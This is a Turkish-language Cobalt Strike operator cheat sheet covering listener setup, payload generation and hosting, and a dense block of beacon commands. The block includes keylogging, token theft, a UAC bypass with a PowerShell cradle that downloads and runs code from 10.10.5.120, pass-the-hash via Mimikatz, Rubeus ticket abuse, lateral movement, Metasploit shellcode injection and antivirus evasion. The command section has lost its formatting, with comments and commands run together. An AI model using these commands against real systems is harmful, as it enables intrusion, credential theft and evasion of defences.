Cobalt Strike -> Dinleyiciler -> Ekle/Düzenle ardından dinlemek için yeri seçebilir, hangi tür beacon kullanacağınızı (http, dns, smb...) ve daha fazlasını belirleyebilirsiniz.
Peer2Peer Dinleyicileri
Bu dinleyicilerin beacon'ları doğrudan C2 ile konuşmak zorunda değildir, diğer beacon'lar aracılığıyla iletişim kurabilirler.
Cobalt Strike -> Dinleyiciler -> Ekle/Düzenle ardından TCP veya SMB beacon'larını seçmeniz gerekir.
TCP beacon, seçilen portta bir dinleyici ayarlayacaktır. TCP beacon'a bağlanmak için başka bir beacon'dan connect <ip> <port> komutunu kullanın.
smb beacon, seçilen isimle bir pipename'de dinleyecektir. SMB beacon'a bağlanmak için link [target] [pipe] komutunu kullanmanız gerekir.
Payload'ları Oluşturma ve Barındırma
Dosyalarda Payload Oluşturma
Saldırılar -> Paketler ->
HTMLApplication HTA dosyaları için
MS Office Macro makro içeren bir ofis belgesi için
Windows Executable bir .exe, .dll veya servis .exe için
Windows Executable (S)stageless bir .exe, .dll veya servis .exe için (stageless, staged'den daha iyidir, daha az IoC)
Payload'ları Oluşturma ve Barındırma
Saldırılar -> Web Drive-by -> Scripted Web Delivery (S) Bu, beacon'ı cobalt strike'dan indirmek için bitsadmin, exe, powershell ve python gibi formatlarda bir script/yürütülebilir dosya oluşturacaktır.
Payload'ları Barındırma
Eğer barındırmak istediğiniz dosya zaten bir web sunucusunda varsa, Saldırılar -> Web Drive-by -> Dosya Barındır kısmına gidin ve barındırılacak dosyayı ve web sunucu yapılandırmasını seçin.
Beacon Seçenekleri
# Yerel .NET ikili dosyasını çalıştırexecute-assembly</path/to/executable.exe># Ekran görüntüleriprintscreen# PrintScr yöntemiyle tek bir ekran görüntüsü alscreenshot# Tek bir ekran görüntüsü alscreenwatch# Masaüstünün periyodik ekran görüntülerini al## Görüntüle -> Ekran Görüntüleri'ne gidin# keyloggerkeylogger [pid] [x86|x64]## Görüntüle > Tuş Vuruşları'na gidin, basılan tuşları görün# portscanportscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Başka bir süreç içinde portscan eylemi enjekte etportscan [targets] [ports] [arp|icmp|none] [max connections]# Powershell# Powershell modülünü içe aktarpowershell-importC:\path\to\PowerView.ps1powershell<burayapowershellkomutunuyazın># Kullanıcı taklidi## Kimlik bilgileri ile token oluşturmamake_token [DOMAIN\user] [password] # Ağda bir kullanıcıyı taklit etmek için token oluşturls \\computer_name\c$ # Oluşturulan token ile bir bilgisayardaki C$'ya erişmeye çalışrev2self# make_token ile oluşturulan token'ı kullanmayı durdur## make_token kullanımı, 4624 olayı oluşturur: Bir hesap başarıyla oturum açtı. Bu olay, bir Windows alanında çok yaygındır, ancak Oturum Açma Türü'ne göre filtrelenerek daraltılabilir. Yukarıda belirtildiği gibi, LOGON32_LOGON_NEW_CREDENTIALS kullanır, bu da tür 9'dur.# UAC Bypasselevatesvc-exe<listener>elevateuac-token-duplication<listener>runasadminuac-cmstpluapowershell.exe-nop-whidden-c"IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"## pid'den token çal## make_token gibi ama bir süreçten token çalıyorsteal_token [pid] # Ayrıca, bu ağ eylemleri için yararlıdır, yerel eylemler için değil## API belgelerinden bu oturum açma türünün "çağrıcının mevcut token'ını klonlamasına izin verdiğini" biliyoruz. Bu nedenle Beacon çıktısı Taklit Edilen <current_username> diyor - kendi klonlanmış token'ımızı taklit ediyor.ls \\computer_name\c$ # Oluşturulan token ile bir bilgisayardaki C$'ya erişmeye çalışrev2self# steal_token'dan token kullanmayı durdur## Yeni kimlik bilgileri ile süreci başlatspawnas [domain\username] [password] [listener] # Okuma erişimi olan bir dizinden yapın: cd C:\## make_token gibi, bu Windows olayı 4624'ü oluşturacaktır: Bir hesap başarıyla oturum açtı ancak 2 (LOGON32_LOGON_INTERACTIVE) oturum açma türü ile. Çağrıcı kullanıcıyı (TargetUserName) ve taklit edilen kullanıcıyı (TargetOutboundUserName) detaylandıracaktır.## Sürece enjekte etinject [pid] [x64|x86] [listener]## OpSec açısından: Gerçekten gerekmedikçe çapraz platform enjekte etmeyin (örneğin x86 -> x64 veya x64 -> x86).## Hash'i geç## Bu modifikasyon süreci, LSASS belleğini yamanmayı gerektirir ki bu yüksek riskli bir eylemdir, yerel yönetici ayrıcalıkları gerektirir ve Korunan Süreç Hafif (PPL) etkinse pek uygulanabilir değildir.pth [pid] [arch] [DOMAIN\user] [NTLM hash]pth [DOMAIN\user] [NTLM hash]## Mimikatz ile hash'i geçmimikatzsekurlsa::pth/user:<username>/domain:<DOMAIN>/ntlm:<NTLMHASH>/run:"powershell -w hidden"## /run olmadan, mimikatz bir cmd.exe başlatır, eğer bir Masaüstü olan bir kullanıcı olarak çalışıyorsanız, shell'i görecektir (eğer SYSTEM olarak çalışıyorsanız, iyi gidiyorsunuz)steal_token<pid># Mimikatz tarafından oluşturulan süreçten token çal## Bileti geç## Bir bilet talep etexecute-assemblyC:\path\Rubeus.exeasktgt/user:<username>/domain:<domain>/aes256:<aes_keys>/nowrap/opsec## Yeni bilet ile kullanılacak yeni bir oturum açma oturumu oluştur (ele geçirilen olanı geçmemek için)make_token<domain>\<username>DummyPass## Bileti saldırgan makinesine bir powershell oturumundan yazın & yükleyin[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))kerberos_ticket_useC:\Users\Administrator\Desktop\jkingTGT.kirbi## SYSTEM'den bileti geç## Bilet ile yeni bir süreç oluşturexecute-assemblyC:\path\Rubeus.exeasktgt/user:<USERNAME>/domain:<DOMAIN>/aes256:<AESKEY>/nowrap/opsec/createnetonly:C:\Windows\System32\cmd.exe## O süreçten token çalsteal_token<pid>## Bileti çıkar + Bileti geç### Biletleri listeleexecute-assemblyC:\path\Rubeus.exetriage### İlginç bileti luid ile dökexecute-assemblyC:\path\Rubeus.exedump/service:krbtgt/luid:<luid>/nowrap### Yeni oturum açma oturumu oluştur, luid ve processid not edinexecute-assemblyC:\path\Rubeus.execreatenetonly/program:C:\Windows\System32\cmd.exe### Bileti oluşturulan oturum açma oturumuna ekleexecute-assemblyC:\path\Rubeus.exeptt/luid:0x92a8c/ticket:[...base64-ticket...]### Son olarak, o yeni süreçten token çalsteal_token<pid># Yanal Hareket## Bir token oluşturulduysa kullanılacaktırjump [method] [target] [listener]## Yöntemler:## psexec x86 Bir Servis EXE nesnesini çalıştırmak için bir hizmet kullan## psexec64 x64 Bir Servis EXE nesnesini çalıştırmak için bir hizmet kullan## psexec_psh x86 Bir PowerShell one-liner'ı çalıştırmak için bir hizmet kullan## winrm x86 WinRM üzerinden bir PowerShell scripti çalıştır## winrm64 x64 WinRM üzerinden bir PowerShell scripti çalıştırremote-exec [method] [target] [command]## Yöntemler:## psexec Servis Kontrol Yöneticisi aracılığıyla uzaktan çalıştır## winrm WinRM (PowerShell) aracılığıyla uzaktan çalıştır## wmi WMI aracılığıyla uzaktan çalıştır## WMI ile bir beacon çalıştırmak için (jump komutunda değil) sadece beacon'ı yükleyin ve çalıştırınbeacon> uploadC:\Payloads\beacon-smb.exebeacon> remote-execwmisrv-1C:\Windows\beacon-smb.exe# Metasploit'e oturum geçişi - Dinleyici aracılığıyla## Metasploit ana bilgisayarındamsf6>useexploit/multi/handlermsf6exploit(multi/handler) >setpayloadwindows/meterpreter/reverse_httpmsf6exploit(multi/handler) >setLHOSTeth0msf6exploit(multi/handler) >setLPORT8080msf6exploit(multi/handler) >exploit-j## Cobalt'ta: Dinleyiciler > Ekle ve Payload'u Yabancı HTTP olarak ayarlayın. Host'u 10.10.5.120, Port'u 8080 olarak ayarlayın ve Kaydet'e tıklayın.beacon> spawnmetasploit## Yalnızca yabancı dinleyici ile x86 Meterpreter oturumları başlatabilirsiniz.# Metasploit'e oturum geçişi - Shellcode enjekte etme yoluyla## Metasploit ana bilgisayarındamsfvenom-pwindows/x64/meterpreter_reverse_httpLHOST=<IP>LPORT=<PORT>-fraw-o/tmp/msf.bin## msfvenom'u çalıştırın ve multi/handler dinleyicisini hazırlayın## Bin dosyasını cobalt strike ana bilgisayarına kopyalayınpsshinject<pid>x64C:\Payloads\msf.bin# Metasploit shellcode'u x64 sürecine enjekte et# Metasploit oturumunu cobalt strike'a geç## Stageless Beacon shellcode'u oluşturun, Saldırılar > Paketler > Windows Executable (S) kısmına gidin, istenen dinleyiciyi seçin, Çıktı türü olarak Raw'ı seçin ve x64 payload kullanın.## Oluşturulan cobalt strike shellcode'unu enjekte etmek için metasploit'te post/windows/manage/shellcode_inject kullanın# Pivoting## Teamserver'da bir socks proxy açınbeacon> socks1080# SSH bağlantısıbeacon> ssh10.10.17.12:22kullanıcıadışifre
AV'lerden Kaçınma
Artifact Kit
Genellikle /opt/cobaltstrike/artifact-kit içinde, cobalt strike'ın ikili beacon'ları oluşturmak için kullanacağı kod ve önceden derlenmiş şablonları ( /src-common içinde) bulabilirsiniz.
ThreatCheck ile oluşturulan arka kapıyı (veya sadece derlenmiş şablonu) kullanarak, defender'ı tetikleyen şeyi bulabilirsiniz. Genellikle bir dizedir. Bu nedenle, arka kapıyı oluşturan kodu değiştirerek o dizeyi son ikili dosyada görünmeyecek şekilde değiştirebilirsiniz.
Kodu değiştirdikten sonra, aynı dizinden ./build.sh komutunu çalıştırın ve dist-pipe/ klasörünü Windows istemcisinde C:\Tools\cobaltstrike\ArtifactKit içine kopyalayın.